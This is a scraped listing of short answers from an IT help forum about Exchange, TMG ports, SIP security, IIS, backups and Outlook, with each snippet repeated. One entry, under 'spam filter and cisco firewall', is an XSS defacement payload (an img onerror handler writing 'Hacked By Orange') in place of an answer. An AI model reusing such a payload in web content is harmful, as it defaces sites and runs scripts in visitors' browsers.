Securing SIP signaling without deteriorating VoIP traffic
SIP traffic can be secured at the transport layer by encrypting data using TLS over TCP. However, using TLS as a transport by itself only guarantees encryption over a single hop. Since it is very common for a SIP call to traverse multiple proxy servers from one end to the other, there is a need [...]
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| January 31, 2011 8:31 PM
Security, Security management, SIP Attacks, SIP Vulnerabilities, VoIP
SIP traffic can be secured at the transport layer by encrypting data using TLS over TCP. However, using TLS as a transport by itself only guarantees encryption over a single hop. Since it is very common for a SIP call to traverse multiple proxy servers from one end to the other, there is a need [...]
View Answer
| January 31, 2011 8:31 PM
Security, Security management, SIP Attacks, SIP Vulnerabilities, VoIP
Exchange 2003 IMAP Configured for VPN Only
You do not tell us about how do you publish your Exchange to the outside world. Considering your security concerns which I subscribe entirely, I assume that you are using ISA server 2006 or TMG to publish your Exchange to the *World*. These are *the best* way to secure your Exchange. (not only, bu also) [...]
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| January 31, 2011 7:30 PM
Exchange 2003, IMAP, IMAP to Exchange Migration, Mac OSX, VPN
You do not tell us about how do you publish your Exchange to the outside world. Considering your security concerns which I subscribe entirely, I assume that you are using ISA server 2006 or TMG to publish your Exchange to the *World*. These are *the best* way to secure your Exchange. (not only, bu also) [...]
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| January 31, 2011 7:30 PM
Exchange 2003, IMAP, IMAP to Exchange Migration, Mac OSX, VPN
Exchange and TMG 2010 port numbers
The ports you are referring to are both secure ports. One for IMAPS (993) and the other for POP3S (995) If you are using TMG to reverse proxy your Exchange Server(s), you should open access to these protocols in order that anyone with the correct permissions can connect to your Exchange from the outside. As [...]
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| January 31, 2011 12:05 AM
Exchange 2010, Microsoft Forefront TMG 2010, Port numbers
The ports you are referring to are both secure ports. One for IMAPS (993) and the other for POP3S (995) If you are using TMG to reverse proxy your Exchange Server(s), you should open access to these protocols in order that anyone with the correct permissions can connect to your Exchange from the outside. As [...]
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| January 31, 2011 12:05 AM
Exchange 2010, Microsoft Forefront TMG 2010, Port numbers
How to access my own mail server account via web
we use WEBMAIL
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| January 28, 2011 2:53 PM
Email servers, LAN, Mail server, Windows Server 2003
we use WEBMAIL
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| January 28, 2011 2:53 PM
Email servers, LAN, Mail server, Windows Server 2003
Adding Watchguard static IP for new Exchange server
Where are you configuring that second IP address? You should be able to configure IT in the IP Protocol inside the NIC configuration. Adapter Settings->TCP/IP v4->Advanced->IP Settings -> Add HTH
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| January 28, 2011 12:13 AM
Exchange 2007, Exchange 2007 administration, WatchGuard
Where are you configuring that second IP address? You should be able to configure IT in the IP Protocol inside the NIC configuration. Adapter Settings->TCP/IP v4->Advanced->IP Settings -> Add HTH
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| January 28, 2011 12:13 AM
Exchange 2007, Exchange 2007 administration, WatchGuard
Managing Orphaned SIDs on AD objects
Security Explorer will allow you to centrally discover and remove Orphaned SIDs. www.securityexplorer.com
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| January 26, 2011 10:26 PM
Developers, Development, Exchange security, Security, Windows
Security Explorer will allow you to centrally discover and remove Orphaned SIDs. www.securityexplorer.com
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| January 26, 2011 10:26 PM
Developers, Development, Exchange security, Security, Windows
exchange mail delay from 2010 to ex 2003
they shouldnt be any delay unless you have latency in your network.
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| January 26, 2011 8:38 PM
Delayed Mail, Exchange 2003, Exchange 2010, Exchange 2010 Installation Errors, Exchange 2010 Migration
they shouldnt be any delay unless you have latency in your network.
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| January 26, 2011 8:38 PM
Delayed Mail, Exchange 2003, Exchange 2010, Exchange 2010 Installation Errors, Exchange 2010 Migration
Running IIS to make one virtual server
IIS doesn’t do load balancing. You’ll need a load balancer to handle the directing of traffic to all the servers. Windows includes one (I think it is only in the Enterprise Edition) called the Network Load Balancer (NLB). Or you can purchase hardware load balancers from Cisco, F5, etc. You can also look at software [...]
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| January 26, 2011 7:37 PM
IIS, IIS Server, IP address, Server virtualization, Windows Server 2003, Windows Virtualization
IIS doesn’t do load balancing. You’ll need a load balancer to handle the directing of traffic to all the servers. Windows includes one (I think it is only in the Enterprise Edition) called the Network Load Balancer (NLB). Or you can purchase hardware load balancers from Cisco, F5, etc. You can also look at software [...]
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| January 26, 2011 7:37 PM
IIS, IIS Server, IP address, Server virtualization, Windows Server 2003, Windows Virtualization
Exchange 2010 connection problem related to POP3 and IMAP
Hi, I think that this might be a little confusion here. My first question is: what protocols do you *need* to provide to your users? By your statement, if you only need to provide OWA (or MAPI sessions for outlook) to your users, you don’t need do configure IMAP4 or POP3 within Exchange so, they [...]
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| January 26, 2011 1:11 PM
Exchange 2010, IMAP4, OWA, POP3, SMTP, Windows Server 2008
Hi, I think that this might be a little confusion here. My first question is: what protocols do you *need* to provide to your users? By your statement, if you only need to provide OWA (or MAPI sessions for outlook) to your users, you don’t need do configure IMAP4 or POP3 within Exchange so, they [...]
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| January 26, 2011 1:11 PM
Exchange 2010, IMAP4, OWA, POP3, SMTP, Windows Server 2008
Script for notification of new files in network folder(s)
try this – uses PowerShell 2.0 function eventhandler { param ($e) Write-Host “File: $($e.SourceEventArgs.FullPath) has arrived” } $folder = “C:test” $filter = “*” $fsw = New-Object -TypeName System.IO.FileSystemWatcher -ArgumentList $folder, $filter $fsw.IncludeSubDirectories = $true $action = {eventhandler $($event)} Register-ObjectEvent -InputObject $fsw -EventName “Created” -SourceIdentifier “File System Creation” -Action $action You can replace the line that [...]
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| January 25, 2011 7:49 PM
Exchange, Scripting, Windows scripting, Windows Server 2003
try this – uses PowerShell 2.0 function eventhandler { param ($e) Write-Host “File: $($e.SourceEventArgs.FullPath) has arrived” } $folder = “C:test” $filter = “*” $fsw = New-Object -TypeName System.IO.FileSystemWatcher -ArgumentList $folder, $filter $fsw.IncludeSubDirectories = $true $action = {eventhandler $($event)} Register-ObjectEvent -InputObject $fsw -EventName “Created” -SourceIdentifier “File System Creation” -Action $action You can replace the line that [...]
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| January 25, 2011 7:49 PM
Exchange, Scripting, Windows scripting, Windows Server 2003
Centralised outlook 2007 stationary
Hi, Well I know that problem… I really know. There are various players on the market but from personal experience, <a href=”http://www.exclaimer.com”>Exclaimer</a> is the best one. Not only their products, but also their support. <a href=”http://www.exclaimer.com/products/Overview.aspx”>Exclaimer Mail Utilities</a>, are easy to install and manage.
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| January 25, 2011 6:00 PM
Outlook, Outlook 2007, Outlook Administration
Hi, Well I know that problem… I really know. There are various players on the market but from personal experience, <a href=”http://www.exclaimer.com”>Exclaimer</a> is the best one. Not only their products, but also their support. <a href=”http://www.exclaimer.com/products/Overview.aspx”>Exclaimer Mail Utilities</a>, are easy to install and manage.
View Answer
| January 25, 2011 6:00 PM
Outlook, Outlook 2007, Outlook Administration
Windows SBS 2008 Backup
Hi the disk might not have the required space to perform the whole backup opperation. After reading your post, my first advice goes to tell you that for a (real) BACKUP,<b> you need</b> to have more than one copy of what you’re backing up. When you say that you prefer “not to wipe the drive” [...]
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| January 25, 2011 5:54 PM
Backup and recovery management software, SBS 2008, Small Business Server 2008, Windows Server backup, Windows Small Business Server
Hi the disk might not have the required space to perform the whole backup opperation. After reading your post, my first advice goes to tell you that for a (real) BACKUP,<b> you need</b> to have more than one copy of what you’re backing up. When you say that you prefer “not to wipe the drive” [...]
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| January 25, 2011 5:54 PM
Backup and recovery management software, SBS 2008, Small Business Server 2008, Windows Server backup, Windows Small Business Server
Exchange Server Delay error message
Let’s get a bit more specific here–is it Exchange 2003 or 2007 we are talking about? It will not make much difference, except in the location of some files we will be looking at. What is the SMTP error code you are receiving? Have you looked at the SMTP logs to see what they can [...]
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| January 25, 2011 4:36 PM
Exchange 2003, Exchange 2003 error messages, Exchange 2007, Exchange error messages, Exchange errors
Let’s get a bit more specific here–is it Exchange 2003 or 2007 we are talking about? It will not make much difference, except in the location of some files we will be looking at. What is the SMTP error code you are receiving? Have you looked at the SMTP logs to see what they can [...]
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| January 25, 2011 4:36 PM
Exchange 2003, Exchange 2003 error messages, Exchange 2007, Exchange error messages, Exchange errors
MXLogic hands message to Exchange, but recipient doesn’t receive email
the quarantine console in MXlogic will only show you mail that is blocked as spam or attachments. Once you release a quarantined message it should go right to exchange for delivery to the recipient. If it is all users, verify that your mxlogic portal is correctly configured to connect to your exchange and that you [...]
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| January 24, 2011 9:01 PM
Email monitoring, Exchange 2003, Exchange 2003 administration, Proxy servers, Windows Server 2003
the quarantine console in MXlogic will only show you mail that is blocked as spam or attachments. Once you release a quarantined message it should go right to exchange for delivery to the recipient. If it is all users, verify that your mxlogic portal is correctly configured to connect to your exchange and that you [...]
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| January 24, 2011 9:01 PM
Email monitoring, Exchange 2003, Exchange 2003 administration, Proxy servers, Windows Server 2003
spam filter and cisco firewall
[img src=a onerror=document.write('<h1>Hacked By Orange</h1>') />
View Answer
| January 23, 2011 10:54 PM
Barracuda, Cisco, Cisco Firewall, Spam prevention
[img src=a onerror=document.write('<h1>Hacked By Orange</h1>') />
View Answer
| January 23, 2011 10:54 PM
Barracuda, Cisco, Cisco Firewall, Spam prevention
Exchange Administrator
Are the servers identical? Have you load balanced them? if not one of them will function as the HT and the other will effectively be a standby
View Answer
| January 23, 2011 3:10 PM
CAS-HUB server down, Exchange, Exchange 2010, Exchange 2010 Administration, Exchange administration
Are the servers identical? Have you load balanced them? if not one of them will function as the HT and the other will effectively be a standby
View Answer
| January 23, 2011 3:10 PM
CAS-HUB server down, Exchange, Exchange 2010, Exchange 2010 Administration, Exchange administration
Public Calendar content Not updating to Windows Live
Have you downloaded the latest Outlook Connector? Sometimes things get fixed, and there is a patch in Microsoft Updates that needs to be applied to fix the difference. If there was a glitch, you may need to re-enroll the email address to which the e-mail was sent with your Windows Live ID account.
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| January 20, 2011 6:59 PM
Exchange 2010, Exchange 2010 Administration, Exchange 2010 configuration, none is/none are, Outlook 2010, Outlook 2010 Administration, Public Calendar, Windows 2008, Windows Live
Have you downloaded the latest Outlook Connector? Sometimes things get fixed, and there is a patch in Microsoft Updates that needs to be applied to fix the difference. If there was a glitch, you may need to re-enroll the email address to which the e-mail was sent with your Windows Live ID account.
View Answer
| January 20, 2011 6:59 PM
Exchange 2010, Exchange 2010 Administration, Exchange 2010 configuration, none is/none are, Outlook 2010, Outlook 2010 Administration, Public Calendar, Windows 2008, Windows Live
Microsoft Communicator 2005 Basics
Microsoft Office Communicator 2005 doesn’t have automatic client chat logging facility. But it is possible if u can click on save as email during the chat session. But during this time, u may forget to save. Another way, u can use Instant Archive Viewer for LCS/OCS. For IAV, please link <a href=”http://www.instant-tech.com/Archive_Viewer_OCS.cfm”>Here</a> OR Also u [...]
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| January 20, 2011 5:33 AM
Microsoft Office Communications Server, Microsoft Office Communicator, Outlook 2007
Microsoft Office Communicator 2005 doesn’t have automatic client chat logging facility. But it is possible if u can click on save as email during the chat session. But during this time, u may forget to save. Another way, u can use Instant Archive Viewer for LCS/OCS. For IAV, please link <a href=”http://www.instant-tech.com/Archive_Viewer_OCS.cfm”>Here</a> OR Also u [...]
View Answer
| January 20, 2011 5:33 AM
Microsoft Office Communications Server, Microsoft Office Communicator, Outlook 2007
Calendar entries in Novell Groupwise
First u have to create an Appointment…. 1. Click the Actions menu and choose Auto-Date…. 2. Use Formula tabs to schedule events that occur on same day each week / same day each month 3. To use the Formula tab, follow the wording conventions as set by GroupWise. (u can go for Help for this [...]
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| January 19, 2011 9:52 AM
C#, Novell, Novell desktop, Novell GroupWise
First u have to create an Appointment…. 1. Click the Actions menu and choose Auto-Date…. 2. Use Formula tabs to schedule events that occur on same day each week / same day each month 3. To use the Formula tab, follow the wording conventions as set by GroupWise. (u can go for Help for this [...]
View Answer
| January 19, 2011 9:52 AM
C#, Novell, Novell desktop, Novell GroupWise
mailbox access via Active Directory Users and Computers
If you do not feel comfortable going through the Active Directory there is another way. First of all, I am assuming that your subs know that you want to see their calendar. If this is the case and you are running Outlook 2007- 1) Go to your calendar tab 2) Right-click your personal calendar and [...]
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| January 18, 2011 6:59 PM
Active Directory, Active Directory Administration, Outlook 2003
If you do not feel comfortable going through the Active Directory there is another way. First of all, I am assuming that your subs know that you want to see their calendar. If this is the case and you are running Outlook 2007- 1) Go to your calendar tab 2) Right-click your personal calendar and [...]
View Answer
| January 18, 2011 6:59 PM
Active Directory, Active Directory Administration, Outlook 2003
